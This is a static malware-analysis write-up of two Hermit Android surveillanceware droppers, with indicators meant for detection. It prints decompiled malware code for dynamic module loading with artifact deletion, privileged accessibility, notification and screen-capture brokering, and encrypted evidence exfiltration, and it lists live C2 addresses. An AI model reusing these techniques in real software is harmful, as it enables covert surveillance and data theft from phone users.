Skip to content
[ Set 0x01 // By Nora ]
Analysis

Hermit Android Surveillanceware

Static reverse engineering of two RCS Lab Hermit Android droppers, their module ABI, privileged-service bridge, and stage-2 evidence protocol

Evidence repository - hashes, capability tables, ABI dictionary, protocol notes, reproducibility notes, and selected decompiled evidence are maintained in norahc-x/Hermit. This article is the narrative version of that repository.

Scope - this is static analysis only. The APKs were not installed, executed, or allowed to contact command-and-control infrastructure. Indicators are included for defensive research.

Overview

Hermit is an Android surveillanceware family attributed in public reporting to RCS Lab, an Italian surveillance vendor. The two builds analyzed here are interesting because they are from the same operator campaign, but they postdate the June 2022 public disclosure: one was packaged in 2023, the other in 2024.

The important finding is architectural. The APK is not a monolithic spyware implant. It is a first-stage dropper and module framework. It fingerprints the device, decrypts configuration, initializes transport, hosts privileged Android services, loads downloaded modules through DexClassLoader, and then deletes the module artifacts after loading.

The collectors themselves were not recovered. That makes the boundary between built-in behavior and module-implied behavior important throughout the analysis.

Samples

20a567a47df247
Packagecom.tencent.mobileqqcom.android.cts.permission
MaskQQ-like packageAndroid CTS permission package
Agent build2.9.292.9.48
Packaged2023-03-032024-04-18
C22.229.62.82:844262.101.107.174:8441
Luretim.itwindtre.it
Campaign constantscid=105448, nid=666cid=105448, nid=666

The package names, C2 endpoints, certificates, native library names, and keys rotate. The architecture, module contract, stage-2 agent, crypto algorithms, and campaign constants stay stable.

Manifest surface

Both droppers target Android API 21. That matters because the app asks for a broad surveillance-oriented permission set while keeping the legacy target SDK.

Path: decompiled/stage1_dropper_47df_com.android.cts.permission/resources/AndroidManifest.xml

<uses-sdk
    android:minSdkVersion="21"
    android:targetSdkVersion="21"/>

<uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
<uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES"/>
<uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.WAKE_LOCK"/>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
<uses-permission android:name="android.permission.CAMERA"/>
<uses-permission android:name="android.permission.READ_CALL_LOG"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.READ_CALENDAR"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/>
<uses-permission android:name="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE"/>
<uses-permission android:name="android.permission.BIND_ACCESSIBILITY_SERVICE"/>

This manifest block does not prove each collector is implemented in the dropper. It proves the first stage is provisioned for those data classes and privileged Android surfaces. The code sweep later separates what is built in from what is only supported by permissions and modules.

The manifest also declares persistence and push channels.

Path: decompiled/stage1_dropper_47df_com.android.cts.permission/resources/AndroidManifest.xml

<receiver
    android:name="rgpa.piolcra.lnn"
    android:enabled="true"
    android:exported="true">
    <intent-filter>
        <action android:name="android.intent.action.REBOOT"/>
        <action android:name="android.intent.action.BOOT_COMPLETED"/>
        <action android:name="android.intent.action.QUICKBOOT_POWERON"/>
        <action android:name="com.htc.intent.action.QUICKBOOT_POWERON"/>
    </intent-filter>
</receiver>

<service
    android:name="sdhqdctolt.ans.vdshel"
    android:exported="false">
    <intent-filter>
        <action android:name="com.google.firebase.MESSAGING_EVENT"/>
    </intent-filter>
</service>

<service
    android:name="cllwlbubo.otq.hxzmwmz"
    android:exported="false">
    <intent-filter>
        <action android:name="com.huawei.push.action.MESSAGING_EVENT"/>
    </intent-filter>
</service>

The dual FCM and Huawei HMS push support gives the operator a wake and command path across both Google and Huawei Android ecosystems.

Architecture

stage-1 dropper
  -> native library
     -> XOR config and payload decoding
  -> encrypted res/raw configuration
     -> C2 pool, RSA public key, push settings, campaign IDs
  -> embedded stage-2 agent: com.android.ep
     -> protobuf evidence channel and AES/RSA/HMAC framing
  -> module engine
     -> downloads module APKs, loads them with DexClassLoader, deletes artifacts
  -> com.android.apn.common.Module ABI
     -> 33 Module.Events constants, lifecycle map, delegate callback
  -> privileged Android services
     -> AccessibilityService, NotificationListenerService, MediaProjection consent

The dropper is mostly orchestration. It owns the Android permissions and privileged service bindings, then exposes them to runtime modules through a stable Java interface and a string-key parameter map.

Execution flow

flowchart TD
    A[User installs or opens stage-1 APK] --> B[Application.onCreate]
    B --> C[Cache app ClassLoader]
    B --> D[Load native library]
    D --> E[Decode embedded configuration]
    E --> F[Initialize C2 server pool and TLS pinning]
    E --> G[Register FCM and HMS push channels]
    E --> H[Extract and load embedded stage-2 agent]
    E --> I[Evaluate module configuration]
    I --> J{Module enabled and eligible?}
    J -- No --> I
    J -- Yes --> K[Download module APK into private m/ directory]
    K --> L[Load module with DexClassLoader]
    L --> M[Instantiate configured Module class]
    M --> N[Build lifecycle parameter map]
    N --> O[setModuleDelegate]
    O --> P[start or execute]
    P --> Q[Delete source APK and optimized dex artifact]
    P --> R[Module collects or reacts to core events]
    R --> S[ModuleDelegate.onModuleEvent]
    R --> T[ModuleDelegate.queryCore]
    T --> U[Stage-2 encrypts protobuf evidence]
    U --> V[HTTPS C2 transport]

The bootstrap stores the app ClassLoader, loads the native library, and starts the internal runtime.

Path: decompiled/stage1_dropper_47df_com.android.cts.permission/sources/qfyrdurv/lrip/lbb.java

public class lbb extends Application {
    public static ClassLoader c;

    @Override
    public void onCreate() {
        super.onCreate();
        c = getClassLoader();
        System.loadLibrary("qaxdogidyo");
        d = this;
        this.a = new rd(this);
        this.a.f();
    }
}

The module loader uses that cached loader as the parent for downloaded modules.

Path: decompiled/stage1_dropper_47df_com.android.cts.permission/sources/org/p000void/we.java

this.c = new DexClassLoader(
        str,
        context.getDir("m", 0).getAbsolutePath(),
        null,
        lbb.c)
    .loadClass(this.b.getModule())
    .newInstance();

After loading, the source APK and optimized dex artifact are deleted.

Path: decompiled/stage1_dropper_47df_com.android.cts.permission/sources/org/p000void/we.java

File file = new File(str);
new File(str.substring(0, str.lastIndexOf(".apk")) + ".dex").delete();
if (file.exists()) {
    return file.delete();
}

That deletion is one reason a static snapshot of the first-stage APK underrepresents what the implant can do at runtime.

Module ABI

Hermit’s stable plugin interface is com.android.apn.common.Module plus ModuleDelegate. Modules do not need to know the dropper’s obfuscated internal class names. They need the ABI, the event enum, and the lifecycle map.

Path: decompiled/stage1_dropper_47df_com.android.cts.permission/sources/com/android/apn/common/Module.java

public abstract class Module {
    public enum Events {
        RECORDER_INFO_MAX_DURATION_REACHED,
        RECORDER_INFO_MAX_FILESIZE_REACHED,
        RECORDER_EVENT_ERROR,
        PERMISSION_INFO_DENIED,
        MISSING_PARAMETER,
        LOCATION_INFO_CHANGED,
        ROOT_INFO_SUCCEDED,
        ROOT_INFO_FAILED,
        EXPLOIT_SUCCEDED,
        EXPLOIT_FAILED,
        PACKAGES_CHANGES,
        PLATFORM_LEVELS_CHANGES,
        PLATFORM_LIMIT_REACHED,
        SCREEN_OFF,
        DEVICE_IDLE,
        APP_WATCHING,
        STARTING_RECORDING,
        PAUSE_RECORDING,
        LIMITS_REACHED,
        CALL,
        TIME_CHANGED,
        CREADY,
        HTTP,
        SCREEN_ON_REQUESTED,
        LOG,
        CELLINFO,
        FG,
        E,
        K,
        NLS,
        AS,
        AST,
        MP
    }

    public abstract InfoRequest askInfo();
    public abstract Map<String, Object> getUsedConfiguration();
    public void onCoreEvent(Events events, Object... objArr) {}
    public abstract void setModuleDelegate(Object... objArr);
    public abstract void start(Object... objArr);
    public abstract void stop(Object... objArr);
    public abstract void remove(Object... objArr);
}

Path: decompiled/stage1_dropper_47df_com.android.cts.permission/sources/com/android/apn/common/ModuleDelegate.java

public interface ModuleDelegate {
    void onModuleEvent(Object obj, Module.Events events);
    void onModuleFinished(Object obj);
    Object queryCore(Object obj);
}

The enum order is part of the ABI because dispatcher code switches on events.ordinal(). A misordered event is not cosmetic; it changes semantics.

Lifecycle map

The core passes a large map into a module at startup. This gives the module context, operator keys, output locations, exploit state, encryption state, and campaign identifiers.

Path: decompiled/stage1_dropper_47df_com.android.cts.permission/sources/org/p000void/we.java

hashMap2.put("context", context);
hashMap2.put("nativeAbsolutePath", dir.getAbsolutePath() + File.separator);
hashMap2.put("roomId", ah.h().e);
hashMap2.put("moduleParametersArray", objArr);
hashMap2.put("fingerprint", str);
hashMap2.put("cType", this.b.getContentype());
hashMap2.put("ht", ah.h().b());
hashMap2.put("se", tg.e().a.getSupportedExploit());
hashMap2.put("ps", Integer.valueOf(ah.h().c));
hashMap2.put("hi", Boolean.valueOf(tg.e().a().a()));
hashMap2.put("e", Boolean.valueOf(tg.e().a.isEncrypt()));
hashMap2.put("pk1", tg.e().c().getPublicKey());
hashMap2.put("fp1", tg.e().c().getFingerprint());
hashMap2.put("pk2", tg.e().b.get(EncryptionKey.K_2).getPublicKey());
hashMap2.put("fp2", tg.e().b.get(EncryptionKey.K_2).getFingerprint());
hashMap2.put("destDir", file.getAbsolutePath());
hashMap2.put("cid", "105448");
hashMap2.put("nid", 666);

The lifecycle call is reflective and consistent: delegate first, then start or execute with the map.

Path: decompiled/stage1_dropper_47df_com.android.cts.permission/sources/org/p000void/we.java

Map<String, Object> args = a(this.c, context, this.d, map);
a(this.d, this.c, "setModuleDelegate", new Object[]{new Object[]{bf.h()}});
a(this.d, this.c, "start", new Object[]{new Object[]{args}});

Privileged service bridge

The dropper does not only provide strings and keys. It brokers live Android service objects to modules.

Notification access is exposed through Module.Events.NLS.

Path: decompiled/stage1_dropper_47df_com.android.cts.permission/sources/xegkniy/wocugwq/kohejqswkwyu.java

public void onNotificationPosted(StatusBarNotification statusBarNotification) {
    HashMap<String, Object> hashMap = new HashMap<>();
    hashMap.put("nsl", this);
    hashMap.put("mc", 0);
    hashMap.put("sbn", statusBarNotification);
    bf.h().a(Module.Events.NLS, hashMap);
}

Accessibility events are exposed through AS; service state changes are exposed through AST.

Path: decompiled/stage1_dropper_47df_com.android.cts.permission/sources/iqgsfqn/dlvsyuxxbz/gfdccjdpdxef.java

public static void a() {
    HashMap<String, Object> hashMap = new HashMap<>();
    hashMap.put("asi", b);
    hashMap.put("ase", c);
    bf.h().a(Module.Events.AS, hashMap);
}

Path: decompiled/stage1_dropper_47df_com.android.cts.permission/sources/iqgsfqn/dlvsyuxxbz/gfdccjdpdxef.java

HashMap<String, Object> hashMap = new HashMap<>();
hashMap.put("ast", Boolean.valueOf(z));
if (z) {
    hashMap.put("asi", b);
}
bf.h().a(Module.Events.AST, hashMap);

MediaProjection consent is brokered by the core, then the live projection object is handed to modules.

Path: decompiled/stage1_dropper_47df_com.android.cts.permission/sources/gfdq/pesci/ijyyfdh.java

MediaProjection mediaProjection =
    mediaProjectionManager.getMediaProjection(kVar.a, (Intent) kVar.b.clone());

HashMap<String, Object> hashMap = new HashMap<>();
hashMap.put("9bf25844-eb02-4fda-af62-da69e239dc61", mediaProjection);
bf.h().a(Module.Events.MP, hashMap);

The UUID map key is build-specific. The durable behavior is the combination of masquerade, legacy target SDK, dynamic modules, and core-brokered Accessibility, Notification Listener, and MediaProjection surfaces.

Stage-2 evidence channel

The embedded com.android.ep agent frames evidence and status traffic. The payload is encrypted with AES-256-CBC; the AES key and IV are wrapped with the C2 RSA public key; the encrypted payload is authenticated with HMAC-SHA256.

Path: decompiled/stage2_agent_com.android.ep/sources/pi/ce/e.java

public static Common.EncryptedData a(
        SecretKey secretKey,
        IvParameterSpec ivParameterSpec,
        PublicKey publicKey) {
    Common.EncryptedData.Builder newBuilder = Common.EncryptedData.newBuilder();
    newBuilder.setType("RSA/ECB/PKCS1Padding");
    Cipher cipher = Cipher.getInstance("RSA/ECB/PKCS1Padding");
    cipher.init(1, publicKey);
    newBuilder.setData(r.a(cipher.doFinal(
        Common.RsaBlock.newBuilder()
            .setIv(r.a(ivParameterSpec.getIV()))
            .setKey(r.a(secretKey.getEncoded()))
            .build()
            .toByteArray())));
    return newBuilder.build();
}

public static Common.EncryptedData a(
        byte[] bArr,
        SecretKey secretKey,
        IvParameterSpec ivParameterSpec) {
    Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
    cipher.init(1, secretKey, ivParameterSpec);
    Common.EncryptedData.Builder newBuilder = Common.EncryptedData.newBuilder();
    newBuilder.setType("AES/CBC/PKCS5Padding");
    newBuilder.setData(r.a(cipher.doFinal(bArr)));
    return newBuilder.build();
}

Path: decompiled/stage2_agent_com.android.ep/sources/pi/ce/e.java

newBuilder.setChecksum(
    Common.EncryptedData.newBuilder()
        .setType("HmacSHA256")
        .setData(r.a(bArr, 0, bArr.length)));

The first-stage config/control channel is simpler: it uses Base64 over the native axelan XOR routine. The stage-2 evidence channel is the part that provides real confidentiality and integrity for module output.

Built-in vs module-implied

This distinction matters because the collector modules were not recovered.

Confirmed built-in: dynamic module loading and post-load deletion; Accessibility, Notification Listener, and MediaProjection primitives; boot persistence; push wake channels; foreground-service stealth; stage-2 evidence framing; self-destruct logic.

Module-implied: audio recording, SMS/contact/call-log/calendar collection, GPS/cell collection, camera capture, call interception, and exploit/root execution. The ABI and permissions support these capabilities, and public reporting attributes them to Hermit, but the collectors are not present in the first-stage APKs analyzed here.

The dropper code contains no first-party AudioRecord/MediaRecorder, SMS content provider, contacts/call-log collector, or camera API collector. The only LocationManager references are relocated AndroidX AppCompat code, not surveillance logic.

Detection opportunities

Durable anchors are the traits that survived both builds:

  • com.android.apn.common.Module, ModuleDelegate, and Module.Events
  • DexClassLoader modules loaded from a private m/ directory, followed by source artifact deletion
  • embedded stage-2 com.android.ep
  • XOR key family around axelan for the control/config channel
  • stage-2 AES/RSA/HMAC envelope
  • cid=105448, nid=666
  • combined AccessibilityService, NotificationListenerService, and MediaProjection handling

Rotated indicators are still useful for blocking known samples, but should not become family signatures: package names, C2 IP and port, certificate pins, Firebase project values, native library names, and build-specific UUID keys.

Limitations

This analysis does not include recovered runtime modules. Capability claims are therefore separated into built-in, module-implied, framework-support, and permission-only categories in the evidence repository.

The 2023 and 2024 dates come from internally consistent APK and signature timestamps. They are credible and monotonic with the version numbers, but ZIP timestamps are forgeable. Treat them as evidence, not proof.

The ISP cooperation delivery detail comes from public reporting. The on-device evidence in these samples is the Italian telecom lure configuration.

Closing

Hermit’s most useful research surface is not any one IOC. It is the framework design: a thin Android dropper, a stable module ABI, privileged service objects brokered through the core, and module artifacts deleted after loading. That is the part defenders can hunt for after package names, C2 endpoints, and keys rotate.